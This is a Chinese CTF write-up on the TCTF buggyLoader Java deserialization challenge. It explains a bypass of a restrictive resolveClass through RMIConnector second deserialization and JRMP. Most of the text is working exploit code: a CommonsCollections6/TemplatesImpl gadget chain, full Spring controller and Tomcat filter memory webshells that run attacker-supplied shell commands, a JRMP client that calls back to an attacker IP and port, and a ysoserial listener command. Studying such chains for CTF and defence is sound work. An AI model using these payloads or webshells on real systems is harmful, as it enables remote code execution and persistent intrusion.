最近复现了TCTF buggyLoader的压轴java反序列化题目,坑点较多,并有解决在resolveClass中使用classLoader.loadClass()
的RMIConnector二次反序列化利用链绕过,并介绍另一种出网下的JRMP利用
RMIConnector二次反序列化链
主要逻辑源码
package com.yxxx.javasec.deserialize;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
@Controller
/* loaded from: IndexController.class */
public class IndexController {
@RequestMapping({"/basic"})
public String greeting(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
ObjectInputStream objectInputStream = new MyObjectInputStream(new ByteArrayInputStream(Utils.hexStringToBytes(data)));
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (!name.equals("SJTU") || year != 1896) {
return "index";
}
objectInputStream.readObject();
return "index";
}
}
pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.4.4</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>demo</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>javaDeserializeLabs</name>
<description>javaDeserializeLabs</description>
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.19.0-GA</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
在 docker-compose.yml 中设置的网络隔离导致 JRMP 无法利用。然而,尽管进行了网络隔离,反序列化过程中的重写仍然限制了非 Java 原生类的使用,这意味着不能使用包含 Transform 对象数组的链。网络隔离加上对数组使用的限制表明,最好采用二次反序列化绕过的方法。
可以看到重写了resolveClass方法
使用了URLClassLoader.loadClass()
而非默认的Class.forName()
去加载类,两者主要的不同点在于URLClassLoader.loadClass()
不能够加载数组
这样的waf导致我们很多的payload都无法使用了,在CC链中我们的sink(终点)实际上只有2个,一个是利用
TemplatesImpl
类实现任意java代码执行,一个是利用ChainedTransformer
类链式调用实现任意命令执行,但是这两者在这道题都没办法使用,前者使用了byte[][]
,而后者则使用了Transformer[]
假如无法使用 ChainedTransformer
类实现链式调用,我们还可以选择其他 Transformer
类。这里我们将重点放在 InvokerTransformer 类,它可以调用任意实例的任意方法。
然而,我们发现 InvokerTransformer
类的第二个和第三个参数都是数组,分别表示方法的参数类型和参数值。由于我们无法反序列化数组,这两个参数必须为 null。换句话说,我们只能调用任意实例的无参数方法。
现在我们重新考虑解题:在不使用 JNDI 的情况下,是否存在一个类(且该类的属性中没有数组),并有一个无参数的方法,最终能够实现二次反序列化?
我们找到了javax.management.remote.rmi.RMIConnector
这个类
RMIConnector链子调试分析
看到RMIConnector.findRMIServerJRMP
方法
这里对传入的 base64 反序列化,往上找看看哪里调用了这个方法,在findRMIServer方法中,如果 path 以 /stub/
开头,就会调用findRMIServerJRMP
继续往上找,在该类的 public 方法connect
中看到调用findRMIServer
并且传入 jmxServiceURL 参数,要求 rmiServer 为 null
查找一下RMIConnector
的利用
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/base64string");
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
接下来我们只要能调用它的connect方法就可以了,这条链在resolveClass方法被重写时利用的很多所以对二次反序列化的绕过非常有帮助
直接打RMIConnector 这条链
Exp
package com.yxxx.javasec.deserialize;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import EXP.SpringControllerMemShell3;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class Exp {
public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
public static HashMap getObject() throws Exception{
//cc6的HashMap链
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{ClassPool.getDefault().get( SpringControllerMemShell3.class.getName()).toBytecode()});
setFieldValue(obj, "_name", "a");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, obj);
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "test");
lazyMap.remove(obj);
setFieldValue(lazyMap,"factory", transformer);
return expMap;
}
public static String bytesTohexString(byte[] bytes) {
//题目要求16进制
if (bytes == null)
return null;
StringBuilder ret = new StringBuilder(2 * bytes.length);
for (int i = 0; i < bytes.length; i++) {
int b = 0xF & bytes[i] >> 4;
ret.append("0123456789abcdef".charAt(b));
b = 0xF & bytes[i];
ret.append("0123456789abcdef".charAt(b));
}
return ret.toString();
}
public static void main(String[] args) throws Exception {
//获取exp的base64编码
ByteArrayOutputStream tser = new ByteArrayOutputStream();
ObjectOutputStream toser = new ObjectOutputStream(tser);
toser.writeObject(getObject());
toser.close();
String exp= Base64.getEncoder().encodeToString(tser.toByteArray());
//创建恶意的RMIConnector
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/"+exp);
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
//使用InvokerTransformer 调用 connect 方法
InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, rmiConnector);
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "test");
lazyMap.remove(rmiConnector);
setFieldValue(lazyMap,"factory", invokerTransformer);
//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeUTF("SJTU");
oos.writeInt(1896);
oos.writeObject(expMap);
oos.close();
System.out.println(bytesTohexString(baos.toByteArray()));
}
}
不出网打spring内存马
package EXP;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Method;
/**
* 适用于 SpringMVC+Tomcat的环境,以及Springboot 2.x 环境.
* 因此比 SpringControllerMemShell.java 更加通用
* Springboot 1.x 和 3.x 版本未进行测试
*/
@Controller
public class SpringControllerMemShell3 extends AbstractTranslet {
public SpringControllerMemShell3() {
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Method method2 = SpringControllerMemShell3.class.getMethod("test");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
Method getMappingForMethod = mappingHandlerMapping.getClass().getDeclaredMethod("getMappingForMethod", Method.class, Class.class);
getMappingForMethod.setAccessible(true);
RequestMappingInfo info =
(RequestMappingInfo) getMappingForMethod.invoke(mappingHandlerMapping, method2, SpringControllerMemShell3.class);
SpringControllerMemShell3 springControllerMemShell = new SpringControllerMemShell3("aaa");
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
} catch (Exception e) {
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public SpringControllerMemShell3(String aaa) {
}
@RequestMapping("/malicious")
public void test() throws IOException {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
ProcessBuilder p;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
} else {
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next() : o;
c.close();
writer.write(o);
writer.flush();
writer.close();
} else {
response.sendError(404);
}
} catch (Exception e) {
}
}
}
也可以打Tomcat Filter内存马
package com.example.demo;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;
public class TomcatFilterMemShellFromThread extends AbstractTranslet implements Filter {
static {
try {
final String name = "MyFilterVersion" + System.nanoTime();
final String URLPattern = "/*";
WebappClassLoaderBase webappClassLoaderBase =
(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Class<? extends StandardContext> aClass = null;
try {
aClass = (Class<? extends StandardContext>) standardContext.getClass().getSuperclass();
aClass.getDeclaredField("filterConfigs");
} catch (Exception e) {
aClass = (Class<? extends StandardContext>) standardContext.getClass();
aClass.getDeclaredField("filterConfigs");
}
Field Configs = aClass.getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
TomcatFilterMemShellFromThread behinderFilter = new TomcatFilterMemShellFromThread();
FilterDef filterDef = new FilterDef();
filterDef.setFilter(behinderFilter);
filterDef.setFilterName(name);
filterDef.setFilterClass(behinderFilter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern(URLPattern);
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);
} catch (Exception e) {
// e.printStackTrace();
}
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("c") != null){
Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line = null;
StringBuffer sb = new StringBuffer();
while ((line = br.readLine()) != null){
sb.append(line + System.getProperty("line.separator"));
}
servletResponse.getWriter().write(new String(sb));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
出网情况下的JRMP利用链
题目使用jdk8u222。 jdk8u121之后java增加了JEP 290的防御机制,其又小于8u313。所以说使用ysoserial的rmi利用链就可以直接打
知识点 JRMP
JRMP协议(Java Remote Message Protocol):RMI专用的Java远程消息交换协议。
JRMPListener 端口为我们自定义,因为UnicastRemoteObject 的构造方法都是protected修饰的,所以要利用反射进行实例化并将属性port的值设为我们写入的端口
出网情况下,我们很容易想到JRMP/RMI那一套,也就是让服务端反序列化一个JRMPClient,向我们恶意的Registry发送请求,触发二次反序列化。
pom.xml中的依赖中有CC3.2.1 出网情况下的靶机开启客户端jrmp,让其访问攻击机的jrmp服务器端并执行恶意的反序列化。
我们需要写一个jrmp客户端
JRMPClient.java
public static void main ( final String[] args ) throws Exception {
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
//vps:port
TCPEndpoint te = new TCPEndpoint("192.168.240.176", 23333);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(Exp.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos= new ObjectOutputStream(barr);
oos.writeUTF("SJTU");
oos.writeInt(1896);
oos.writeObject(proxy);
oos.close();
System.out.println(Utils.bytesTohexString(barr.toByteArray()));
}
- vps启动yso JRMPServer
然后使用CC6来构造payload二次反序列化
命令如下
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 23333 CommonsCollections6 "touch /tmp/success"
Exp源码如下
package com.yxxx.javasec.deserialize;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
public class Exp3 {
public static void main(String[] args) throws Exception {
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint("ip", 23333);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(Exp3.class.getClassLoader(), new Class[]{
Registry.class
}, obj);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeUTF("SJTU");
oos.writeInt(1896);
oos.writeObject(proxy);
oos.close();
System.out.println(Utils.bytesTohexString(barr.toByteArray()));
}
}